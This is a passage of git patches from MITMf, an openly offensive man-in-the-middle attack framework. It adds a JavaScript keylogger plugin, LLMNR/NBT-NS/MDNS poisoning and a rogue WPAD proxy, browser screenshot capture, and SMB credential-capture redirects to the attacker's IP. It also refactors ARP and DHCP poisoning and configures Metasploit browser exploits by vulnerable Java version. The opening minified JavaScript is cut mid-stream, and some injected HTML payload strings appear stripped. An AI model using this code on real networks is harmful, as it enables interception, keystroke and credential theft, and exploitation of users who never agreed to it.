p=null;if(PluginDetect.OS==1){if(PluginDetect.hasMimeType("application/vnd.adobe.pdfxml")){p="9"}else{if(PluginDetect.hasMimeType("application/vnd.adobe.x-mars")){p="8"}else{if(PluginDetect.hasMimeType("application/vnd.adobe.xfdf")){p="6"}}}}return p}},activexQuery:function(w){var u="",t,q,s,r,p={precision:0,version:null};try{if(w){u=w.GetVersions()+"";}}catch(v){}if(u&&PluginDetect.isString(u)){t=/\=\s*[\d\.]+/g;r=u.match(t);if(r){for(q=0;q0)){p.version=s}}p.precision=c.getPrecision(u,"\\=\\s*")}}return p},axo:{detected:0,version:null,precision:0,progID:["AcroPDF.PDF","AcroPDF.PDF.1","PDF.PdfCtrl","PDF.PdfCtrl.5","PDF.PdfCtrl.1"],progID_dummy:"AcroDUMMY.DUMMY",query:function(){var t=this,q=c,u,v,s,r,p,w;if(t.detected){return t}t.detected=-1;v=PluginDetect.getAXO(t.progID_dummy);if(!v){w=PluginDetect.errObj}for(p=0;p0||w?1:(q==-0.1||q==-0.5?-0.5:-1);if(w){y.version=w}if(t){y.precision=t}return y}},doc2:{detected:0,version:null,precision:0,classID:"clsid:CA8A9780-280D-11CF-A24D-444553540000",mimeType:"application/pdf",HTML:0,count:0,count2:0,time2:0,intervalLength:50,maxCount:150,isDisabled:function(){var r=this,v=c,u=v.axo,p=v.nav,x=v.doc,w,t,q=0,s;if(r.HTML){q=2}else{if(PluginDetect.dbug){}else{if(!PluginDetect.DOM.isEnabled.objectTagUsingActiveX()){q=2}else{w=(p?p.version:0)||(u?u.version:0)||(x?x.version:0)||0;t=(p?p.precision:0)||(u?u.precision:0)||(x?x.precision:0)||0;if(!w||!t||t>2||PluginDetect.compareNums(PluginDetect.formatNum(w),PluginDetect.formatNum("11"))<0){q=2}}}}if(q<2){s=PluginDetect.file.getValid(v);if(!s||!s.full){q=1}}return q},handlerSet:0,onMessage:function(){var p=this;return function(q){if(p.version){return}p.detected=1;if(PluginDetect.isArray(q)){q=q[0]}q=PluginDetect.getNum(q+"");if(q){if(!(/[.,_]/).test(q)){q+="."}q+="00000";if((/^(\d+)[.,_](\d)(\d\d)(\d\d)/).test(q)){q=RegExp.$1+","+RegExp.$2+","+RegExp.$3+","+RegExp.$4}p.version=PluginDetect.formatNum(q);p.precision=3;c.setPluginStatus()}}},isDefinedMsgHandler:function(q,r){try{return q?q.messageHandler!==r:0}catch(p){}return 1},queryObject:function(){var r=this,s=r.HTML,q=s?s.obj():0;if(!q){return}if(!r.handlerSet&&r.isDefinedMsgHandler(q)){try{q.messageHandler={onMessage:r.onMessage()}}catch(p){}r.handlerSet=1;r.count2=r.count;r.time2=(new Date()).getTime()}if(!r.detected){if(r.count>3&&!r.handlerSet){r.detected=-1}else{if(r.time2&&r.count-r.count2>=r.maxCount&&(new Date()).getTime()-r.time2>=r.intervalLength*r.maxCount){r.detected=-0.5}}}if(r.detected){if(r.detected!=-1){}}},insertHTMLQuery:function(){var u=this,p=c,r=PluginDetect.DOM.altHTML,q,s,t=0;if(u.isDisabled()){return u}if(p.OTF<2){p.OTF=2}q=PluginDetect.file.getValid(p).full;s=PluginDetect.DOM.iframe.insert(0,"Adobe Reader");PluginDetect.DOM.iframe.write(s,''.format(self.js_url) - - if self.js_payload is not None: - payload += ''.format(self.js_payload) - - if self.js_file: - payload += ''.format(self.js_file.read()) - - return payload - def _ip_filter(self, ip): if self.white_ips[0] != '': @@ -122,8 +132,7 @@ class Inject(Plugin): return True - - def _should_inject(self, ip, hn, mime): + def _should_inject(self, ip, hn): if self.count_limit == self.rate_limit is None and not self.per_domain: return True @@ -138,45 +147,16 @@ class Inject(Plugin): if self.per_domain: return not ip+hn in self.dtable - return mime.find(self.mime) != -1 - - def _get_req_info(self, response): - ip = response.getClientIP() - hn = response.getRequestHostname() - mime = response.headers['Content-Type'] - return (ip, hn, mime) - - def _insert_html(self, data, pre=[], post=[], re_flags=re.I): - ''' - To use this function, simply pass a list of tuples of the form: - - (string/regex_to_match,html_to_inject) - - NOTE: Matching will be case insensitive unless differnt flags are given - - The pre array will have the match in front of your injected code, the post - will put the match behind it. - ''' - pre_regexes = [re.compile(r"(?P"+i[0]+")", re_flags) for i in pre] - post_regexes = [re.compile(r"(?P"+i[0]+")", re_flags) for i in post] - - for i, r in enumerate(pre_regexes): - data = re.sub(r, "\g"+pre[i][1], data) - - for i, r in enumerate(post_regexes): - data = re.sub(r, post[i][1]+"\g", data) - - return data + return True def options(self, options): options.add_argument("--js-url", type=str, help="URL of the JS to inject") options.add_argument('--js-payload', type=str, help='JS string to inject') - options.add_argument('--js-file', type=argparse.FileType('r'), help='File containing JS to inject') + options.add_argument('--js-file', type=str, help='File containing JS to inject') options.add_argument("--html-url", type=str, help="URL of the HTML to inject") options.add_argument("--html-payload", type=str, help="HTML string to inject") - options.add_argument('--html-file', type=argparse.FileType('r'), help='File containing HTML to inject') - options.add_argument("--match-str", type=str, default='', help="String you would like to match and place your payload before. ( by default)") - + options.add_argument('--html-file', type=str, help='File containing HTML to inject') + group = options.add_mutually_exclusive_group(required=False) group.add_argument("--per-domain", action="store_true", help="Inject once per domain per client.") group.add_argument("--rate-limit", type=float, help="Inject once every RATE_LIMIT seconds per client.") diff --git a/plugins/jskeylogger.py b/plugins/jskeylogger.py new file mode 100644 index 0000000..41c008f --- /dev/null +++ b/plugins/jskeylogger.py @@ -0,0 +1,62 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +from plugins.inject import Inject +from plugins.plugin import Plugin + +class JSKeylogger(Inject, Plugin): + name = "JSKeylogger" + optname = "jskeylogger" + desc = "Injects a javascript keylogger into clients webpages" + version = "0.2" + + def initialize(self, options): + Inject.initialize(self, options) + self.js_file = "./core/javascript/msfkeylogger.js" + + def request(self, request): + if 'keylog' in request.uri: + request.handle_post_output = True + + raw_keys = request.postData.split("&&")[0] + input_field = request.postData.split("&&")[1] + + keys = raw_keys.split(",") + if keys: + del keys[0]; del(keys[len(keys)-1]) + + nice = '' + for n in keys: + if n == '9': + nice += "" + elif n == '8': + nice = nice[:-1] + elif n == '13': + nice = '' + else: + try: + nice += n.decode('hex') + except: + self.clientlog.error("Error decoding char: {}".format(n), extra=request.clientInfo) + + self.clientlog.info("Host: {} | Field: {} | Keys: {}".format(request.headers['host'], input_field, nice), extra=request.clientInfo) + + def options(self, options): + pass \ No newline at end of file diff --git a/plugins/plugin.py b/plugins/plugin.py index 89ab856..f42efd6 100644 --- a/plugins/plugin.py +++ b/plugins/plugin.py @@ -1,5 +1,3 @@ -#!/usr/bin/env python2.7 - # Copyright (c) 2014-2016 Marcello Salvati # # This program is free software; you can redistribute it and/or @@ -24,7 +22,7 @@ import argparse from core.configwatcher import ConfigWatcher from core.logger import logger -class Plugin(ConfigWatcher, object): +class Plugin(ConfigWatcher): name = "Generic plugin" optname = "generic" tree_info = [] diff --git a/plugins/replace.py b/plugins/replace.py new file mode 100644 index 0000000..c12fdbe --- /dev/null +++ b/plugins/replace.py @@ -0,0 +1,53 @@ +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +""" + +Original plugin by @rubenthijssen + +""" + +import re +from plugins.plugin import Plugin + +class Replace(Plugin): + name = "Replace" + optname = "replace" + desc = "Replace arbitrary content in HTML content" + version = "0.2" + + def initialize(self, options): + self.options = options + + def response(self, response, request, data): + mime = response.headers['Content-Type'] + hn = response.getRequestHostname() + + if "text/html" in mime: + + for rulename, regexs in self.config['Replace'].iteritems(): + for regex1,regex2 in regexs.iteritems(): + if re.search(regex1, data): + try: + data = re.sub(regex1, regex2, data) + + self.clientlog.info("occurances matching '{}' replaced with '{}' according to rule '{}'".format(regex1, regex2, rulename), extra=request.clientInfo) + except Exception: + self.log.error("Your provided regex ({}) or replace value ({}) is empty or invalid. Please debug your provided regex(es) in rule '{}'".format(regex1, regex2, rulename)) + + return {'response': response, 'request': request, 'data': data} diff --git a/plugins/responder.py b/plugins/responder.py new file mode 100644 index 0000000..aa2a6f9 --- /dev/null +++ b/plugins/responder.py @@ -0,0 +1,141 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +from plugins.plugin import Plugin +from twisted.internet import reactor + +class Responder(Plugin): + name = "Responder" + optname = "responder" + desc = "Poison LLMNR, NBT-NS and MDNS requests" + tree_info = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"] + version = "0.2" + has_opts = True + + def initialize(self, options): + '''Called if plugin is enabled, passed the options namespace''' + self.options = options + self.interface = options.interface + self.ip = options.ip + + try: + config = self.config['Responder'] + smbChal = self.config['MITMf']['SMB']['Challenge'] + except Exception as e: + shutdown('[-] Error parsing config for Responder: ' + str(e)) + + from core.responder.llmnr.LLMNRpoisoner import LLMNRpoisoner + from core.responder.mdns.MDNSpoisoner import MDNSpoisoner + from core.responder.nbtns.NBTNSpoisoner import NBTNSpoisoner + from core.responder.fingerprinter.LANfingerprinter import LANfingerprinter + + LANfingerprinter().start(options) + MDNSpoisoner().start(options, options.ip) + NBTNSpoisoner().start(options, options.ip) + LLMNRpoisoner().start(options, options.ip) + + if options.wpad: + from core.servers.http.HTTPserver import HTTPserver + import flask + + server = HTTPserver().server + + @server.route('/') + def wpad(wpad_req): + if (wpad_req == 'wpad.dat') or (wpad_req.endswith('.pac')): + payload = self.config['Responder']['WPADScript'] + + resp = flask.Response(payload) + resp.headers['Server'] = "Microsoft-IIS/6.0" + resp.headers['Content-Type'] = "application/x-ns-proxy-autoconfig" + resp.headers['X-Powered-By'] = "ASP.NET" + resp.headers['Content-Length'] = len(payload) + + return resp + + if self.config["Responder"]["MSSQL"].lower() == "on": + from core.responder.mssql.MSSQLserver import MSSQLserver + MSSQLserver().start(smbChal) + + if self.config["Responder"]["Kerberos"].lower() == "on": + from core.responder.kerberos.KERBserver import KERBserver + KERBserver().start() + + if self.config["Responder"]["FTP"].lower() == "on": + from core.responder.ftp.FTPserver import FTPserver + FTPserver().start() + + if self.config["Responder"]["POP"].lower() == "on": + from core.responder.pop3.POP3server import POP3server + POP3server().start() + + if self.config["Responder"]["SMTP"].lower() == "on": + from core.responder.smtp.SMTPserver import SMTPserver + SMTPserver().start() + + if self.config["Responder"]["IMAP"].lower() == "on": + from core.responder.imap.IMAPserver import IMAPserver + IMAPserver().start() + + if self.config["Responder"]["LDAP"].lower() == "on": + from core.responder.ldap.LDAPserver import LDAPserver + LDAPserver().start(smbChal) + + if options.analyze: + self.tree_info.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned") + self.IsICMPRedirectPlausible(options.ip) + + def IsICMPRedirectPlausible(self, IP): + result = [] + dnsip = [] + for line in file('/etc/resolv.conf', 'r'): + ip = line.split() + if len(ip) < 2: + continue + if ip[0] == 'nameserver': + dnsip.extend(ip[1:]) + + for x in dnsip: + if x !="127.0.0.1" and self.IsOnTheSameSubnet(x,IP) == False: + self.tree_info.append("You can ICMP Redirect on this network. This workstation ({}) is not on the same subnet than the DNS server ({})".format(IP, x)) + else: + pass + + def IsOnTheSameSubnet(self, ip, net): + net = net+'/24' + ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16) + netstr, bits = net.split('/') + netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16) + mask = (0xffffffff << (32 - int(bits))) & 0xffffffff + return (ipaddr & mask) == (netaddr & mask) + + def reactor(self, strippingFactory): + reactor.listenTCP(3141, strippingFactory) + + def options(self, options): + options.add_argument('--analyze', dest="analyze", action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests without poisoning") + options.add_argument('--wredir', dest="wredir", default=False, action="store_true", help="Enables answers for netbios wredir suffix queries") + options.add_argument('--nbtns', dest="nbtns", default=False, action="store_true", help="Enables answers for netbios domain suffix queries") + options.add_argument('--fingerprint', dest="finger", default=False, action="store_true", help = "Fingerprint hosts that issued an NBT-NS or LLMNR query") + options.add_argument('--lm', dest="lm", default=False, action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier") + options.add_argument('--wpad', dest="wpad", default=False, action="store_true", help = "Start the WPAD rogue proxy server") + # Removed these options until I find a better way of implementing them + #options.add_argument('--forcewpadauth', dest="forceWpadAuth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False") + #options.add_argument('--basic', dest="basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned") diff --git a/plugins/screenshotter.py b/plugins/screenshotter.py new file mode 100644 index 0000000..b7f9ccc --- /dev/null +++ b/plugins/screenshotter.py @@ -0,0 +1,59 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import base64 +import urllib +import re + +from datetime import datetime +from plugins.plugin import Plugin +from plugins.inject import Inject + +class ScreenShotter(Inject, Plugin): + name = 'ScreenShotter' + optname = 'screen' + desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser' + ver = '0.1' + + def initialize(self, options): + Inject.initialize(self, options) + self.js_payload = self.get_payload() + self.interval = options.interval + + def request(self, request): + if 'saveshot' in request.uri: + request.handle_post_output = True + + client = request.client.getClientIP() + img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")) + try: + with open('./logs/' + img_file, 'wb') as img: + img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1])) + img.close() + + self.clientlog.info('Saved screenshot to {}'.format(img_file), extra=request.clientInfo) + except Exception as e: + self.clientlog.error('Error saving screenshot: {}'.format(e), extra=request.clientInfo) + + def get_payload(self): + return re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read()) + + def options(self, options): + options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)") diff --git a/plugins/smbauth.py b/plugins/smbauth.py new file mode 100644 index 0000000..eb67aa8 --- /dev/null +++ b/plugins/smbauth.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +from plugins.plugin import Plugin +from plugins.inject import Inject + +class SMBAuth(Inject, Plugin): + name = "SMBAuth" + optname = "smbauth" + desc = "Evoke SMB challenge-response auth attempts" + version = "0.1" + + def initialize(self, options): + self.ip = options.ip + Inject.initialize(self, options) + self.html_payload = self._get_data() + + def _get_data(self): + return ''\ + ''\ + '' % tuple([self.ip]*3) + + def options(self, options): + pass diff --git a/plugins/smbtrap.py b/plugins/smbtrap.py new file mode 100644 index 0000000..ceec87f --- /dev/null +++ b/plugins/smbtrap.py @@ -0,0 +1,38 @@ +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# +import random +import string + +from plugins.plugin import Plugin + +class SMBTrap(Plugin): + name = "SMBTrap" + optname = "smbtrap" + desc = "Exploits the SMBTrap vulnerability on connected clients" + version = "1.0" + + def initialize(self, options): + self.ip = options.ip + + def responsestatus(self, request, version, code, message): + return {"request": request, "version": version, "code": 302, "message": "Found"} + + def responseheaders(self, response, request): + self.clientlog.info("Trapping request to {}".format(request.headers['host'])) + rand_path = ''.join(random.sample(string.ascii_uppercase + string.digits, 8)) + response.headers["Location"] = "file://{}/{}".format(self.ip, rand_path) diff --git a/plugins/upsidedownternet.py b/plugins/upsidedownternet.py new file mode 100644 index 0000000..a3a53b6 --- /dev/null +++ b/plugins/upsidedownternet.py @@ -0,0 +1,61 @@ +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +from cStringIO import StringIO +from plugins.plugin import Plugin +from PIL import Image, ImageFile + +class Upsidedownternet(Plugin): + name = "Upsidedownternet" + optname = "upsidedownternet" + desc = 'Flips images 180 degrees' + version = "0.1" + + def initialize(self, options): + self.options = options + + def responseheaders(self, response, request): + '''Kill the image skipping that's in place for speed reasons''' + if request.isImageRequest: + request.isImageRequest = False + request.isImage = True + self.imageType = response.headers['content-type'].split('/')[1].upper() + + def response(self, response, request, data): + try: + isImage = getattr(request, 'isImage') + except AttributeError: + isImage = False + + if isImage: + try: + #For some reason more images get parsed using the parser + #rather than a file...PIL still needs some work I guess + p = ImageFile.Parser() + p.feed(data) + im = p.close() + im = im.transpose(Image.ROTATE_180) + output = StringIO() + im.save(output, format=self.imageType) + data = output.getvalue() + output.close() + self.clientlog.info("Flipped image".format(response.getClientIP())) + except Exception as e: + self.clientlog.info("Error: {}".format(response.getClientIP(), e)) + + return {'response': response, 'request': request, 'data': data} From ba14ed8687746b4481d3281ef8ae4d58a6cd39c1 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 25 Jul 2015 02:49:41 +0200 Subject: [PATCH 070/181] This commit refactors ARP and DHCP poisoning: DHCP poisoning now works on Windows, additionaly it's been optimized for performance improvements ARP poisoning has been optimized with and internal cache and some algo improvements cve-details-parser.py has been added to the utils/ directory to help adding exploits to the BrowserSniper config file I'm currently working on adding to the filepwn plugin all of the missing options that bdfproxy stand-alone has --- CONTRIBUTING.md | 18 ++ README.md | 30 +-- config/mitmf.conf | 315 ++++++++++++++++------------ core/ferretng/ClientRequest.py | 7 +- core/javascript/plugindetect.js | 26 +-- core/javascript/screenshot.js | 8 +- core/mitmfapi.py | 40 ++-- core/netcreds/NetCreds.py | 16 +- core/poisoners/arp/ARPpoisoner.py | 266 +++++++++-------------- core/poisoners/dhcp/DHCPpoisoner.py | 190 +++++++++-------- core/poisoners/icmp/ICMPpoisoner.py | 16 +- core/sergioproxy/ProxyPlugins.py | 1 + core/servers/dns/DNSchef.py | 9 +- core/servers/http/HTTPserver.py | 16 ++ core/servers/smb/KarmaSMB.py | 24 +-- core/servers/smb/SMBserver.py | 4 +- core/sslstrip/ClientRequest.py | 7 +- core/sslstrip/ServerConnection.py | 8 +- core/utils.py | 17 +- mitmf.py | 16 +- plugins/appcachepoison.py | 2 +- plugins/browserprofiler.py | 1 + plugins/browsersniper.py | 179 ++++++++++++++++ plugins/ferretng.py | 116 +++++----- plugins/filepwn.py | 52 +++-- plugins/htadriveby.py | 50 ++--- plugins/inject.py | 2 +- plugins/replace.py | 38 ++-- plugins/responder.py | 12 +- plugins/screenshotter.py | 48 ++--- plugins/spoof.py | 115 ++++++++++ plugins/sslstrip+.py | 49 +++++ requirements.txt | 17 -- tools/cve-details-parser.py | 32 +++ update.sh | 11 - 35 files changed, 1082 insertions(+), 676 deletions(-) create mode 100644 CONTRIBUTING.md mode change 100644 => 100755 core/servers/smb/KarmaSMB.py create mode 100644 plugins/browsersniper.py create mode 100644 plugins/spoof.py create mode 100644 plugins/sslstrip+.py delete mode 100644 requirements.txt create mode 100755 tools/cve-details-parser.py delete mode 100755 update.sh diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 0000000..2fe828e --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,18 @@ +Contributing +============ +Hi! Thanks for taking the time and contributing to MITMf! Pull requests are always welcome! + +Submitting Issues +================= +If you have *questions* regarding the framework please email me at byt3bl33d3r@gmail.com + +**Only submit issues if you find a bug in the latest version of the framework.** + +When inevitably you do come across said *bug*, please open an issue and include at least the following in the description: + +- Full command string you used +- OS you're using +- Full error traceback, if any +- A packet capture if relevant + +Also, remember that Github markdown is your friend! \ No newline at end of file diff --git a/README.md b/README.md index f1a7b8d..ea81b85 100644 --- a/README.md +++ b/README.md @@ -10,12 +10,11 @@ Twitter: @byt3bl33d3r IRC on Freenode: #MITMf Email: byt3bl33d3r@gmail.com -**Update: Installation steps have changed! Please read the new [instructions](#installation)** - -**Before submitting issues, please read the [FAQ](#faq) and the appropriate [section](#submitting-issues).** +**Before submitting issues, please read the [FAQ](#faq) and [CONTRIBIUTING.md](#submitting-issues).** Available plugins ================= +- ```HTA Drive-By``` - Injects a fake update notification and prompts clients to download an HTA application - ```SMBtrap``` - Exploits the 'SMB Trap' vulnerability on connected clients - ```Screenshotter``` - Uses HTML5 Canvas to render an accurate screenshot of a clients browser - ```Responder``` - LLMNR, NBT-NS, WPAD and MDNS poisoner @@ -84,33 +83,20 @@ Installation If you're rocking Kali and want the latest version: - Clone this repository - Run the ```kali_setup.sh``` script +**Note: you can ignore any errors when ```pip``` tries to install dependencies, MITMf should be able to run anyway** If you're rocking any other Linux distro: - Clone this repository - Run the ```other_setup.sh``` script -- Run the command ```pip install --upgrade -r requirements.txt``` to install all Python dependencies - -Submitting Issues -================= -If you have *questions* regarding the framework please email me at byt3bl33d3r@gmail.com - -**Only submit issues if you find a bug in the latest version of the framework.** - -When inevitably you do come across said *bug*, please open an issue and include at least the following in the description: - -- Full command string you used -- OS you're using -- Full error traceback, if any - -Also, remember that Github markdown is your friend! +- Run the command ```pip install --upgrade mitmflib``` to install all Python dependencies FAQ === - **Is Windows supported?** -- No +- No, it will never be supported - **Is OSX supported?** -- Currently no, although with some tweaking (which I'll probably get around to in the near future), it should be able to run perfectly on OSX. +- Yes! Initial compatibility has been introduced in 0.9.8! Find anything broken submit a PR or open an issue ticket! - **I can't install package X because of an error!** - Try installing the package via ```pip``` or your distro's package manager. This *isn't* a problem with MITMf. @@ -121,5 +107,5 @@ FAQ - **I get an ImportError when launching MITMf!** - Please read the [installation](#installation) guide. -- **Dude, no documentation/video tutorials?** -- Currently no but once the framework hits 1.0, I'll probably start writing/making some. +- **Dude, no documentation?** +- The docs are a work in progress at the moment, once the framework hits 1.0 I will push them to the wiki \ No newline at end of file diff --git a/config/mitmf.conf b/config/mitmf.conf index 1747651..767fd9b 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -12,12 +12,22 @@ pass = beef [[Metasploit]] - - msfport = 8080 # Port to start Metasploit's webserver on that will host exploits rpcip = 127.0.0.1 rpcport = 55552 rpcpass = abc123 + [[MITMf-API]] + host = 127.0.0.1 + port = 9999 + + [[HTTP]] + + # + # Here you can configure MITMf's internal HTTP server + # Note: changing the port number might break certain plugins + + port = 80 + [[SMB]] # @@ -57,25 +67,6 @@ # ini = /tmp/desktop.ini # bat = /tmp/evil.bat - [[HTTP]] - - # - # Here you can configure MITMf's internal HTTP server - # - - port = 80 - - #[[[Paths]]] - - # - # Here you can define the content to deliver - # - - # Format is urlpath = filesystem path (urlpath can be a regular expression) - - # ".*" = "/var/www" - # "/test" = "/var/www2" - [[DNS]] # @@ -93,7 +84,7 @@ nameservers = 8.8.8.8 [[[A]]] # Queries for IPv4 address records - *.thesprawls.org=192.168.178.27 + *.thesprawl.org=192.168.178.27 [[[AAAA]]] # Queries for IPv6 address records *.thesprawl.org=2001:db8::1 @@ -135,9 +126,8 @@ [Spoof] [[DHCP]] - ip_pool = 192.168.2.10-50 + ip_pool = 192.168.1.10-50 subnet = 255.255.255.0 - dns_server = 192.168.2.20 #optional [Replace] @@ -306,81 +296,100 @@ # When adding java exploits remember the following format: version string (eg 1.6.0) + update version (eg 28) = 1.6.0.28 # - [[multi/browser/java_rhino]] #Exploit's MSF path + msfport = 8080 # Port to start Metasploit's webserver which will host the exploits + + [[exploits]] - Type = PluginVuln #Can be set to PluginVuln, BrowserVuln - OS = Any #Can be set to Any, Windows or Windows + version (e.g Windows 8.1) + [[[multi/browser/java_rhino]]] #Exploit's MSF path + + Type = PluginVuln #Can be set to PluginVuln, BrowserVuln + OS = Any #Can be set to Any, Windows or Windows + version (e.g Windows 8.1) - Browser = Any #Can be set to Any, Chrome, Firefox, IE or browser + version (e.g IE 6) - Plugin = Java #Can be set to Java, Flash (if Type is BrowserVuln will be ignored) + Browser = Any #Can be set to Any, Chrome, Firefox, MSIE or browser + version (e.g IE 6) + Plugin = Java #Can be set to Java, Flash (if Type is BrowserVuln will be ignored) - #An exact list of the plugin versions affected (if Type is BrowserVuln will be ignored) - PluginVersions = 1.6.0, 1.6.0.1, 1.6.0.10, 1.6.0.11, 1.6.0.12, 1.6.0.13, 1.6.0.14, 1.6.0.15, 1.6.0.16, 1.6.0.17, 1.6.0.18, 1.6.0.19, 1.6.0.2, 1.6.0.20, 1.6.0.21, 1.6.0.22, 1.6.0.23, 1.6.0.24, 1.6.0.25, 1.6.0.26, 1.6.0.27, 1.6.0.3, 1.6.0.4, 1.6.0.5, 1.6.0.6, 1.6.0.7, 1.7.0 + #An exact list of the plugin versions affected (if Type is BrowserVuln will be ignored) + PluginVersions = 1.6.0, 1.6.0.1, 1.6.0.10, 1.6.0.11, 1.6.0.12, 1.6.0.13, 1.6.0.14, 1.6.0.15, 1.6.0.16, 1.6.0.17, 1.6.0.18, 1.6.0.19, 1.6.0.2, 1.6.0.20, 1.6.0.21, 1.6.0.22, 1.6.0.23, 1.6.0.24, 1.6.0.25, 1.6.0.26, 1.6.0.27, 1.6.0.3, 1.6.0.4, 1.6.0.5, 1.6.0.6, 1.6.0.7, 1.7.0 - [[multi/browser/java_atomicreferencearray]] + [[[multi/browser/java_atomicreferencearray]]] - Type = PluginVuln - OS = Any - Browser = Any - Plugin = Java - PluginVersions = 1.5.0, 1.5.0.1, 1.5.0.10, 1.5.0.11, 1.5.0.12, 1.5.0.13, 1.5.0.14, 1.5.0.15, 1.5.0.16, 1.5.0.17, 1.5.0.18, 1.5.0.19, 1.5.0.2, 1.5.0.20, 1.5.0.21, 1.5.0.22, 1.5.0.23, 1.5.0.24, 1.5.0.25, 1.5.0.26, 1.5.0.27, 1.5.0.28, 1.5.0.29, 1.5.0.3, 1.5.0.31, 1.5.0.33, 1.5.0.4, 1.5.0.5, 1.5.0.6, 1.5.0.7, 1.5.0.8, 1.5.0.9, 1.6.0, 1.6.0.1, 1.6.0.10, 1.6.0.11, 1.6.0.12, 1.6.0.13, 1.6.0.14, 1.6.0.15, 1.6.0.16, 1.6.0.17, 1.6.0.18, 1.6.0.19, 1.6.0.2, 1.6.0.20, 1.6.0.21, 1.6.0.22, 1.6.0.24, 1.6.0.25, 1.6.0.26, 1.6.0.27, 1.6.0.29, 1.6.0.3, 1.6.0.30, 1.6.0.4, 1.6.0.5, 1.6.0.6, 1.6.0.7, 1.7.0, 1.7.0.1, 1.7.0.2 + Type = PluginVuln + OS = Any + Browser = Any + Plugin = Java + PluginVersions = 1.5.0, 1.5.0.1, 1.5.0.10, 1.5.0.11, 